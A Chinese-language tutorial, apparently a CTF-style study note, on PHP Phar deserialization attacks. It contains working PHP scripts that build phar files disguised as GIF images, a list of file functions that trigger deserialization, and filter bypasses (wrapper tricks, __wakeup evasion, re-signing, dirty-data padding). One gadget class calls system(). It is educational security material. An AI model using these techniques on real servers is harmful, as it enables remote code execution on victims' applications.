Phar反序列化#
参考文章: 1、#https://aecous.github.io/2023/04/24/php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96-phar%E7%AF%87/ 2、#https://xz.aliyun.com/t/6699?time__1311=n4%2BxnD0DRDBGit30%3DKDsA3r%2BDcAiD9DQqwxvID&alichlgref=https%3A%2F%2Fxz.aliyun.com%2Ft%2F6699#toc-3 3、#https://boogipop.com/2023/07/08/Phar%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%8F%8A%E5%85%B6%E4%B8%80%E7%B3%BB%E5%88%97%E7%9A%84%E5%A5%87%E6%8A%80%E6%B7%AB%E5%B7%A7/
0x01 什么是phar?#
Phar是PHP的压缩文档,是PHP中类似于JAR的一种打包文件。它可以把多个文件存放至同一个文件中,无需解压,PHP就可以进行访问并执行内部语句。 默认开启版本 PHP version >= 5.3
0x02关于phar的一些知识#
phar的文件结构#
1、Stub //Phar文件头
2、manifest //压缩文件信息
3、contents //压缩文件内容
4、signature //签名
Stub#
stub是phar的文件头,如果没有这个就无法被识别为phar文件(但是不影响伪造成其他文件:gif、png、jpg and so on)
<?php xxx; __HALT_COMPILER();?>
利用一些构造手法可以进行绕过
manifest (manifest describing the contents)#
phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方。【引用】
contents(the file contents)#
被压缩文件的内容。
signature([optional] a signature for verifying Phar integrity (phar file format only))#
就是phar文件的签名,每次文件内容更改的时候都要重新生成新的签名
20bytes => SHA1 0x0002
16bytes => MD5
32bytes => SHA256 0x0003
64bytes => SHA512 0x0004
from hashlib import sha1
with open('test.phar', 'rb') as file:
f = file.read()
s = f[:-28] # 获取要签名的数据
h = f[-8:] # 获取签名类型和GBMB标识
newf = s + sha1(s).digest() + h # 数据 + 签名 + (类型 + GBMB)
with open('newtest.phar', 'wb') as file:
file.write(newf) # 写入新文件
demo#
注意:要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件。
<?php
class DTtest{
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new DTtest();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering();
?>
demo2#
<?php
class DTtest {
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new DTtest();
$o->data='hello DT!';
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
<?php
include('phar://phar.jpg');
class DTtest {
function __destruct()
{
echo $this->data;
echo phpinfo();
}
}
?>
0x03触发函数#
Stream API#
https://github.com/php/php-src/blob/PHP-7.2.11/ext/standard/file.c#L548 ,重点关注:
stream = php_stream_open_wrapper_ex(filename, "rb",
(use_include_path ? USE_PATH : 0) | REPORT_ERRORS,
NULL, context);
可以注意,其使用的是php_stream系列API来打开一个文件。 官方文档: https://www.php.net/manual/en/book.stream.php ,可知,Stream API是PHP中一种统一的处理文件的方法,并且其被设计为可扩展的,允许任意扩展作者使用。这个phar就注册了phar://这个stream wrapper,可以看看注册了什么wrapper
php > var_dump(stream_get_wrappers());
array(12) {
[0]=>
string(5) "https"
[1]=>
string(4) "ftps"
[2]=>
string(13) "compress.zlib"
[3]=>
string(14) "compress.bzip2"
[4]=>
string(3) "php"
[5]=>
string(4) "file"
[6]=>
string(4) "glob"
[7]=>
string(4) "data"
[8]=>
string(4) "http"
[9]=>
string(3) "ftp"
[10]=>
string(4) "phar"
[11]=>
string(3) "zip"
}
注册wapper可以实现功能,具体看底层代码: https://github.com/php/php-src/blob/8d3f8ca12a0b00f2a74a27424790222536235502/main/php_streams.h#L132
typedef struct _php_stream_wrapper_ops {
/* open/create a wrapped stream */
php_stream *(*stream_opener)(php_stream_wrapper *wrapper, const char *filename, const char *mode,
int options, zend_string **opened_path, php_stream_context *context STREAMS_DC);
/* close/destroy a wrapped stream */
int (*stream_closer)(php_stream_wrapper *wrapper, php_stream *stream);
/* stat a wrapped stream */
int (*stream_stat)(php_stream_wrapper *wrapper, php_stream *stream, php_stream_statbuf *ssb);
/* stat a URL */
int (*url_stat)(php_stream_wrapper *wrapper, const char *url, int flags, php_stream_statbuf *ssb, php_stream_context *context);
/* open a "directory" stream */
php_stream *(*dir_opener)(php_stream_wrapper *wrapper, const char *filename, const char *mode,
int options, zend_string **opened_path, php_stream_context *context STREAMS_DC);
const char *label;
/* delete a file */
int (*unlink)(php_stream_wrapper *wrapper, const char *url, int options, php_stream_context *context);
/* rename a file */
int (*rename)(php_stream_wrapper *wrapper, const char *url_from, const char *url_to, int options, php_stream_context *context);
/* Create/Remove directory */
int (*stream_mkdir)(php_stream_wrapper *wrapper, const char *url, int mode, int options, php_stream_context *context);
int (*stream_rmdir)(php_stream_wrapper *wrapper, const char *url, int options, php_stream_context *context);
/* Metadata handling */
int (*stream_metadata)(php_stream_wrapper *wrapper, const char *url, int options, void *value, php_stream_context *context);
} php_stream_wrapper_ops;
可以看见拥有: stream_opener,stream_closer,stream_stat,url_stat,dir_opener,unlink,rename,stream_mkdir,stream_metadata 这几个功能 404实验室seaii指出了所有文件函数均可使用
fileatime
/filectime
/filemtime
stat
/fileinode
/fileowner
/filegroup
/fileperms
file
/file_get_contents
/readfile
/ `fopen``file_exists
/is_dir
/is_executable
/is_file
/is_link
/is_readable
/is_writeable
/is_writable
parse_ini_file
unlink
copy
根据文章的分析,可以看见,其原理都是调用了php_stream_locate_url_wrapper
这个函数,都是直接或者间接的触发反序列化的wrapper。 接下来是一些touch文件
exif#
exif_thumbnail
exif_imagetype
gd#
imageloadfont
imagecreatefrom***
hash#
hash_hmac_file
hash_file
hash_update_file
md5_file
sha1_file
file / url#
get_meta_tags
get_headers
standard#
getimagesize
getimagesizefromstring
zip#
$zip = new ZipArchive();
$res = $zip->open('c.zip');
$zip->extractTo('phar://test.phar/test');
Bzip / Gzip(可用于bypass phar://的情况)#
demo:
$z = 'compress.bzip2://phar:///home/sx/test.phar/test.txt';
当然,它同样适用于compress.zlib://
。
postgres#
<?php
$pdo = new PDO(sprintf("pgsql:host=%s;dbname=%s;user=%s;password=%s", "127.0.0.1", "postgres", "sx", "123456"));
@$pdo->pgsqlCopyFromFile('aa', 'phar://test.phar/aa');
Mysql#
Mysql的load data local infile也会触发php_stream_open_wrapper
<?php
class A {
public $s = '';
public function __wakeup () {
system($this->s);
}
}
$m = mysqli_init();
mysqli_options($m, MYSQLI_OPT_LOCAL_INFILE, true);
$s = mysqli_real_connect($m, 'localhost', 'root', '123456', 'easyweb', 3306);
$p = mysqli_query($m, 'LOAD DATA LOCAL INFILE \'phar://test.phar/test\' INTO TABLE a LINES TERMINATED BY \'\r\n\' IGNORE 1 LINES;');
0x04一些bypass#
常规bypass#
后缀名phar ban#
当phar这个后缀名被ban的时候,可以直接对后缀进行更改,不会影响到协议的读取,因为根据前面stub来判断phar,例如前面构造的jpg来绕过一些限制。拿上面的举个例子。
stub ban#
如果ban了stub头,那么可以将phar文件进行一次压缩,建议使用linux的自带压缩gzip,使用windows的bandzip等会导致算法问题无法触发
gzip 1.zip 1.phar
如果无法用phar协议,那么就可以用下面的
compress.zlib://phar://phar.phar/test.txt
这里我写一个例子出来: demo: a.php
<?php
class DTtest{
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new DTtest();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering();
?>
phar.php
<?php
highlight_file(__FILE__);
error_reporting(0);
$a = $_GET['filename']; if(substr($a, 0,7) == "phar://" && isset($a)){ die(nonono);
}else{
include $a;
}
class DTtest{
public function __destruct(){
echo $this->data;
echo phpinfo();
}
}
?>
这里为了简便就不写对后缀名的限制了,但是我这里还是上传gif文件。
绕过__\wakeup#
php版本 PHP5<5.6.25,PHP7 < 7.0.10 在正常的反序列化漏洞中,都知道,可以通过改变成员数来绕过wakeup()(具体为什么我后面再去分析),所以在phar反序列化中一样,这里直接给出demo
<?php
class DTtest{
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new DTtest();
str_replace("O:6:"DTtest:1","O:6:"DTtest":2,$o);
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering();
?>
后面自动计算签名即可 另外一个方式(当php版本对应不上且含有__destruct方法的时候)可以使用GC回收机制来直接触发销毁方法从而绕过wakeup 或者可以利用aecous师傅写的:
from hashlib import sha1
file = open('test.phar', 'rb').read() # 需要重新生成签名的phar文件
data = file[:-28] # 获取需要签名的据
final = file[-8:] # 获取最后8位GBMB标识和签名类型
newfile = data + sha1(data).digest() + final # 数据 + 签名 + 类型 + GBMB
open('poc.phar', 'wb').write(newfile) # 写入到新的phar文件
来进行绕i过
绕过头部脏数据#
这里我也就直接贴上上面师傅的代码下来了 当文件上传之后,在文件数据前面拼接了脏数据,再进行文件函数配合phar协议读取时,就会因为签名原因导致无法反序列化,这种情况下,就需要在生成phar文件时,将已知的脏数据设置在stub中,计算完签名后将文件中的脏数据删除即可
<?php
class A{
}
$a=new A();
//前面的脏数据
$dirtydata = "dirty";
$phar = new Phar("phar.phar");
$phar->startBuffering();
//在stub头中添加脏数据
$phar->setStub($dirtydata."<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
//添加压缩文件
$phar->addFromString("anything" , "test");
//自动计算签名
$phar->stopBuffering();
//读取phar文件
$exp = file_get_contents("./phar.phar");
$post_exp = substr($exp, strlen($dirtydata));
//删除脏数据头
$exp = file_put_contents("./break_phar.phar",$post_exp);
?>
测试:
<?php
class A{
public function __destruct()
{
echo "AAAA";
}
}
$dirty="dirty";
$old=file_get_contents("./phar/break_phar.phar");
$new=$old.$dirty;
$new= $dirty.$old;
file_put_contents("./phar/new.phar",$new);
file_get_contents("phar://./phar/new.phar");
绕过尾部脏数据#
绕过文件尾部的脏数据就不需要什么操作了,也不需要已知内容,我们可以使用tar格式自动忽略,因为tar格式有暂停解析位,在之后添加的数据都不会解析的。
<?php
class A{
}
$a=new A();
//因为用的tar格式,所以不需要指定stub头
$phar = new PharData(dirname(__FILE__) . "/phar.tar", 0, "phartest", Phar::TAR);
$phar->startBuffering();
$phar->setMetadata($a);
$phar->addFromString("test" , "test");
$phar->stopBuffering();
<?php
class A{
public function __destruct()
{
echo "AAAA";
}
}
$dirty="dirty";
$old=file_get_contents("./phar/phar.tar");
$new=$old.$dirty;
file_put_contents("./phar/new.tar",$new);
file_get_contents("phar://./phar/new.tar");
绕过前后脏数据#
<?php
class A{
}
$a=new A();
//前面的脏数据
$dirtydata="dirty";
$phar = new PharData(dirname(__FILE__) . "/phar.tar", 0, "phartest", Phar::TAR);
$phar->startBuffering();
$phar->setMetadata($a);
//设置开头数据
$phar->addFromString($dirtydata , "test");
$phar->stopBuffering();
//读取原文件,截取,删除
$exp = file_get_contents("./phar.tar");
$post_exp = substr($exp, strlen($dirtydata));
$exp = file_put_contents("./break_phar.tar",$post_exp);
?>
<?php
class A{
public function __destruct()
{
echo "AAA";
}
}
$front="dirty";
$dirty="dirty";
$old=file_get_contents("./phar/break_phar.tar");
$new=$front.$old.$dirty;
file_put_contents("./phar/new.tar",$new);
file_get_contents("phar://./phar/new.tar");